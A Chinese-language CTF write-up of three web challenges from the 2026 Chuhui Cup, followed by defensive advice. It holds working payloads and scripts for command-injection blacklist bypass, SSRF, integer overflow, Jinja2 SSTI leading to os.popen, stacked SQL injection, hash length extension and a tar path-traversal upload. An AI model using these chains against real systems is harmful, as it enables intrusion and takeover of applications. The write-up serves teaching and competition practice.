2026楚慧杯Web方向全解
字数 2206
更新时间 2026-03-23 15:04:21

2026楚慧杯Web方向全解教学文档

第一篇:拯救芙莉莲 (Web文件包含与命令注入绕过)

1. 漏洞发现与信息收集

  • 通过目录扫描工具(如dirsearch)发现robots.txt文件
  • robots.txt中包含特殊文件:<(´⌯ ̫⌯)>.php`
  • 访问该文件出现错误提示,判断为文件包含漏洞

2. 初步利用

  • 使用PHP伪协议读取源码:
?file=php://filter/convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php
  • 获取源码后进行分析

3. 关键代码分析

<?php
if (isset($_GET['spell'])) {
    $spell = $_GET['spell'];
    
    // 第一层过滤:危险函数黑名单
    $forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
    foreach ($forbidden as $bad) {
        if (stripos($spell, $bad) !== false) {
            die("⚠️ 检测到禁忌的黑魔法!");
        }
    }
    
    // 第二层过滤:关键字过滤
    if (stripos($spell, 'flag') !== false) {
        die("⚠️ 宝箱怪的魔法屏障启动了!");
    }
    
    // 第三层过滤:命令黑名单
    $blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
    foreach ($blocked_commands as $cmd) {
        if (stripos($spell, $cmd) !== false) {
            die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!");
        }
    }
    
    // 漏洞点:无过滤执行shell_exec
    $result = shell_exec($spell);
    
    echo $result;
}
?>

4. 绕过技巧

  • 尝试直接使用?spell=cat /flag被WAF拦截
  • 绕过方法:使用字符串拼接和通配符
  • 最终payload:?spell=c''at%20/f*
  • 原理:
    1. c''at → 通过空字符串拼接绕过cat检测
    2. /f* → 使用通配符匹配flag文件

5. 核心知识点

  1. 文件包含漏洞利用:PHP伪协议读取源码
  2. 命令注入绕过
    • 字符串拼接绕过
    • 通配符绕过文件路径
  3. 黑名单绕过策略
    • 使用''""\等方式分割关键字
    • 使用通配符*匹配文件
  4. shell_exec函数:PHP中执行系统命令的函数,需要合理过滤

第二篇:cybers (SSRF+SSTI+整数溢出综合利用)

1. 环境配置与初始访问

  • 目标地址:http://45.40.247.139:19944
  • 内部端口:5000
  • 存在转发路由:/relay

2. 第一阶段:Session获取

def send_data(packet):
    payload = {"port": INTERNAL_PORT, "data": packet}
    response = requests.post(f"{TARGET_GATEWAY}/relay", data=payload)
    return response.text

# 构造HTTP请求获取session
handshake = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"
raw_init = send_data(handshake)
auth_token = re.findall(r"session=([a-zA-Z0-9._-]+)", raw_init)[0]

3. 第二阶段:整数溢出绕过

  • 利用64位带符号整数最小值:-9223372036854775808
  • 当这个值被转换为无符号整数时,会变成巨大的正数
  • 攻击payload:
exploit_val = -9223372036854775808
hack_call = f"GET /hack?amount={exploit_val} HTTP/1.1\r\n" + \
           "Host: 127.0.0.1\r\n" + \
           f"Cookie: session={auth_token}\r\n" + \
           "Connection: close\r\n\r\n"

4. 第三阶段:SSTI绕过与动态字符串构造

4.1 核心绕过技术

  • 题目禁止了常见的危险函数、全角绕过等方法
  • 只能使用字典键值对拼接构造字符串
  • 原理:Jinja2模板中dict(o=1,s=1)|join会构造字典{"o":1,"s":1},然后join会拼接字典的键,得到"os"

4.2 字符串构造示例

{% set sp=dict(s=1,p=1,l=1,i=1,t=1)|join %}       {# 构造 'split' #}
{% set ge=dict(g=1,e=1,n=1)|join %}               {# 构造 'gen' #}
{% set er=dict(e=1,r=1)|join %}                   {# 构造 'er' #}
{% set ate=dict(a=1,t=1,e=1)|join %}              {# 构造 'ate' #}
{% set gg=ge+er+ate %}                            {# 构造 'generate' #}
{% set u=(((lipsum|string)|attr(sp)(gg))|last)|first %}
{% set gl=dict(g=1,l=1,o=1,b=1,a=1)|join + dict(l=1,s=1)|join %}  {# 构造 'globals' #}
{% set gs=u+u+gl+u+u %}                           {# 构造 '__globals__' #}

4.3 最终命令执行链

{% set om=(lipsum|attr(gs))|attr(gt)(oo) %}       {# 等价于 os #}
{% set pp=dict(p=1,o=1)|join + dict(p=1,e=1,n=1)|join %}  {# 构造 'popen' #}
{% set ph=om|attr(pp)(cmd) %}                     {# 等价于 os.popen(cmd) #}
{% set rd=dict(r=1,e=1,a=1,d=1)|join %}           {# 构造 'read' #}
{% print(ph|attr(rd)()) %}                        {# 打印命令执行结果 #}

5. 完整攻击流程

  1. 通过/relay路由进行SSRF
  2. 访问/initialize获取session token
  3. 利用整数溢出修改余额
  4. 构造Jinja2 SSTI payload
  5. 通过POST请求发送payload
  6. 从响应中提取flag

第三篇:Fisafopil (哈希长度扩展攻击+SQL注入+目录穿越)

1. 漏洞点分析

  • 密码哈希存在长度扩展攻击漏洞
  • email参数存在SQL注入
  • /admin/restore路由存在tar文件目录穿越

2. 第一阶段:用户注册与SQL注入

# 注册普通用户
pass_raw = b"secret_pass"
user_id = "vortex_" + "".join(random.choices(string.ascii_lowercase, k=5))
u_hex = binascii.hexlify(user_id.encode()).decode()
p_hex = binascii.hexlify(pass_raw).decode()

cli.post(f"{TARGET}/register", json={
    "username": u_hex, "password": p_hex, "employee_number": "EMP_99",
    "email": "dev@null.org", "phone_number": "00000000",
    "first_name": "Alpha", "last_name": "Omega",
    "date_of_birth": "1990-10-10", "address": "Void"
})

3. SQL注入利用

# 通过email参数注入,获取用户密码哈希
injection = f"'; UPDATE users SET email=(SELECT password FROM users WHERE username='{user_id}') WHERE username='{user_id}'; --"
cli.post(f"{TARGET}/edit-profile", params={
    "employee_number": "EMP_99", "email": "a@b.com" + injection,
    "phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
    "date_of_birth": "1990-10-10", "address": "Void"
})

4. 哈希长度扩展攻击原理

  • 已知条件:
    1. 用户密码:secret_pass
    2. 密钥长度:16字节(题目附件提供)
    3. 密码对应的MD5哈希值
  • 加密格式:md5(secret_key || "input")
  • 攻击目标:在不知道secret_key的情况下,构造新的输入和对应的哈希值

5. 攻击步骤

  1. 注册用户获取(password, hash)
  2. 使用哈希长度扩展攻击工具(如hashpump)生成新的输入和哈希
  3. 构造SQL注入更新admin密码哈希
# 更新admin密码哈希
update_admin = f"'; UPDATE users SET password='{forged_h}' WHERE username='admin'; --"
cli.post(f"{TARGET}/edit-profile", params={
    "employee_number": "EMP_99", "email": "x@y.com" + update_admin,
    "phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
    "date_of_birth": "1990-10-10", "address": "Void"
})

6. 利用tar文件目录穿越进行SSTI

# 构造恶意tar文件
shell = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read() }}'
mem = io.BytesIO()
with tarfile.open(fileobj=mem, mode="w") as arch:
    t_meta = tarfile.TarInfo(name="../templates/info.html")
    data = f"<html><body>{shell}</body></html>".encode()
    t_meta.size = len(data)  # 必须手动设置文件大小
    arch.addfile(t_meta, io.BytesIO(data))

mem.seek(0)
# 上传tar文件
root.post(f"{TARGET}/admin/restore", files={"restore_file": ("patch.tar", mem, "application/x-tar")})

7. 关键知识点总结

  1. 哈希长度扩展攻击

    • 需要已知:原始消息、原始哈希、密钥长度
    • 可以在不知道密钥的情况下扩展消息并计算有效哈希
    • 工具:hashpump、hash_extender
  2. SQL注入利用

    • UPDATE语句注入
    • 子查询获取敏感信息
    • 堆叠查询更新密码哈希
  3. tar文件目录穿越

    • 通过../实现路径穿越
    • 内存中构造文件避免磁盘写入
    • 必须设置TarInfo.size属性
  4. SSTI最终利用

    • 通过模板文件覆盖实现命令执行
    • 访问/info路由触发模板渲染
    • 读取flag文件

综合防御建议

1. 输入过滤与验证

  • 对所有用户输入进行严格过滤
  • 使用白名单而非黑名单
  • 对特殊字符进行转义

2. 命令执行防护

  • 避免使用shell_exec、system等危险函数
  • 如需执行命令,使用参数化调用
  • 限制命令执行权限

3. 文件操作安全

  • 解压文件前检查文件路径
  • 禁止使用../等路径穿越字符
  • 限制解压目录权限

4. 密码安全

  • 使用加盐哈希(如bcrypt、argon2)
  • 避免使用md5(secret||message)模式
  • 使用HMAC代替简单拼接

5. SQL注入防护

  • 使用参数化查询
  • 最小权限原则
  • 输入验证和转义

6. SSTI防护

  • 避免用户控制模板内容
  • 使用沙箱环境执行模板
  • 严格过滤模板语法

附录:常用工具和命令

1. 信息收集

  • dirsearch:目录扫描
  • robots.txt分析
  • 源码读取技巧

2. 漏洞利用

  • hashpump:哈希长度扩展攻击
  • sqlmap:SQL注入自动化
  • Burp Suite:HTTP请求操作

3. 绕过技巧

  • 字符串拼接:c''atc\atc$@tat
  • 通配符:*?[a-z]
  • 编码绕过:base64、hex、url编码

4. 开发技巧

  • io.BytesIO:内存文件操作
  • tarfile:tar文件创建与操作
  • 正则表达式:数据提取

注意:本文档仅供学习使用,请勿用于非法用途。所有技术都应在合法授权的测试环境中使用。

相似文章
相似文章
 全屏